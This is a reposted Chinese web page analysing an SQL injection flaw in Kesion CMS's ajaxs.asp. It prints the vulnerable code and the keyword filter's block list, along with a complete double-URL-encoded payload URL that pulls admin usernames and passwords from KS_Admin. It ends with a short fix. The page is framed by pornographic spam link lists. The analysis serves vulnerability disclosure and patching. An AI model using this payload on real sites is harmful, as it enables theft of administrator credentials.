麻豆小视频在线观看_中文黄色一级片_久久久成人精品_成片免费观看视频大全_午夜精品久久久久久久99热浪潮_成人一区二区三区四区

首頁 > 網站 > CMS建站 > 正文

Kesion cms sql注入漏洞修復及其分析

2024-08-30 19:06:40
字體:
來源:轉載
供稿:網友

文章介紹了desion cms容易被sql注入的修復方法,方法為UnEscape()函數調用位置放在函數體內,或者不調用.

先我們來看代碼:

  1. Dim KS:Set KS=New PublicCls 
  2. Dim Action 
  3. Action=KS.S("Action"
  4. Select Case Action 
  5. Case "Ctoe" CtoE 
  6. Case "GetTags" GetTags 
  7. Case "GetRelativeItem" GetRelativeItem //問題函數 
  8. ...skip... 
  9. Case "getonlinelist" getonlinelist 
  10. End Select 
  11. Sub GetRelativeItem() //漏洞函數開始 
  12. Dim Key:Key=UnEscape(KS.S("Key"))//漏洞位置,只調用ks.s函數,無其它過濾。 
  13. Dim Rtitle:rtitle=lcase(KS.G("rtitle")) 
  14. Dim RKey:Rkey=lcase(KS.G("Rkey")) 
  15. Dim ChannelID:ChannelID=KS.ChkClng(KS.S("Channelid")) 
  16. Dim ID:ID=KS.ChkClng(KS.G("ID")) 
  17. Dim Param,RS,SQL,k,SqlStr 
  18. If Key<>"" Then 
  19. If (Rtitle="true" Or RKey="true") Then 
  20. If Rtitle="true" Then 
  21. param=Param & " title like '%" & key & "%'"//類似搜索型注入漏洞。 
  22. end if 
  23. If Rkey="true" Then 
  24. If Param="" Then 
  25. Param=Param & " keywords like '%" & key & "%'" 
  26. Else 
  27. Param=Param & " or keywords like '%" & key & "%'" 
  28. End If 
  29. End If 
  30. Else 
  31. Param=Param & " keywords like '%" & key & "%'" 
  32. End If 
  33. End If 
  34. If Param<>"" Then 
  35. Param=" where InfoID<>" & id & " and (" & param & ")" 
  36. else 
  37. Param=" where InfoID<>" & id 
  38. end if 
  39. If ChannelID<>0 Then Param=Param & " and ChannelID=" & ChannelID//開源軟件:Vevb.com 
  40. Param=Param & " and verific=1" 
  41. SqlStr="Select top 30 ChannelID,InfoID,Title From KS_ItemInfo " & Param & " order by id desc" //查詢  
  42. Set RS=Server.CreateObject("ADODB.RECORDSET"
  43. RS.Open SqlStr,conn,1,1 
  44. If Not RS.Eof Then 
  45. SQL=RS.GetRows(-1) 
  46. End If 
  47. RS.Close 

如果配合Unescape()函數,剛過濾不會生效,可以采用unicode編碼方式,則不會在瀏覽器中出現被過濾的字符,例如,單引號可以編碼為,%2527,經過解碼后還是“'”號,這樣的話,就可以利用類似php的二次編碼漏洞的方式繞過過濾了.

注入語句:%') union select 1,2,username+'|'+ password from KS_Admin

轉換如下:

  1. /plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500 

先進行了過濾,然后才調用UnEscape解碼,代碼如下:

  1. Public Function S(Str) 
  2. S = DelSql(Replace(Replace(Request(Str), "'"""), """""")) 
  3. Function DelSql(Str) 
  4. Dim SplitSqlStr,SplitSqlArr,I 
  5. SplitSqlStr="dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell" 
  6. SplitSqlArr = Split(SplitSqlStr,"|"
  7. For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr) 
  8. If Instr(LCase(Str),SplitSqlArr(I))>0 Then 
  9. Die "<script>alert('系統警告!nn1、您提交的數據有惡意字符" & SplitSqlArr(I) &";n2、您的數據已經被記錄;n3、您的IP:"&GetIP&";n4、操作日期:"&Now&";n Powered By Kesion.Com!');window.close();</script>" 
  10. End if 
  11. Next 
  12. DelSql = Str 
  13. End Function 

這樣我們還是開頭的那句話使用unescape()函數或者不使用本函數.

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 成人午夜天堂 | 水多视频在线观看 | 精品国产一级毛片 | 国产亚洲欧美日韩在线观看不卡 | 久久久aa | 久久久久av电影 | 毛片免 | 亚洲成人在线视频网站 | 看国产一级毛片 | 亚洲精品免费播放 | 麻豆视频在线免费观看 | 国内性爱视频 | 成人黄色小视频在线观看 | www.91成人 | 国产精品视频中文字幕 | 99riav视频一区二区 | 国产91丝袜在线播放0 | 国产成人高潮免费观看精品 | av免费在线观看国产 | 日韩毛片网 | 国产羞羞视频在线观看免费应用 | 免费国产羞羞网站视频 | 国产亚洲精品久久久久久网站 | 久久久久久三区 | 欧美一级特级 | 午夜精品久久久久久久久久久久久蜜桃 | 毛片在线免费观看完整版 | av在线一区二区三区四区 | chinesehdxxxx无套 久久另类视频 | 中国美女一级黄色片 | av在线播放免费观看 | 国内精品一级毛片免费看 | 全黄毛片| 成年人激情在线 | 日韩视频在线一区二区三区 | www.91tv| 成人三级电影网址 | 国产亚洲精品久久久久久久久 | 黄色免费大片 | 亚洲白嫩在线观看 | 欧美成人一级 |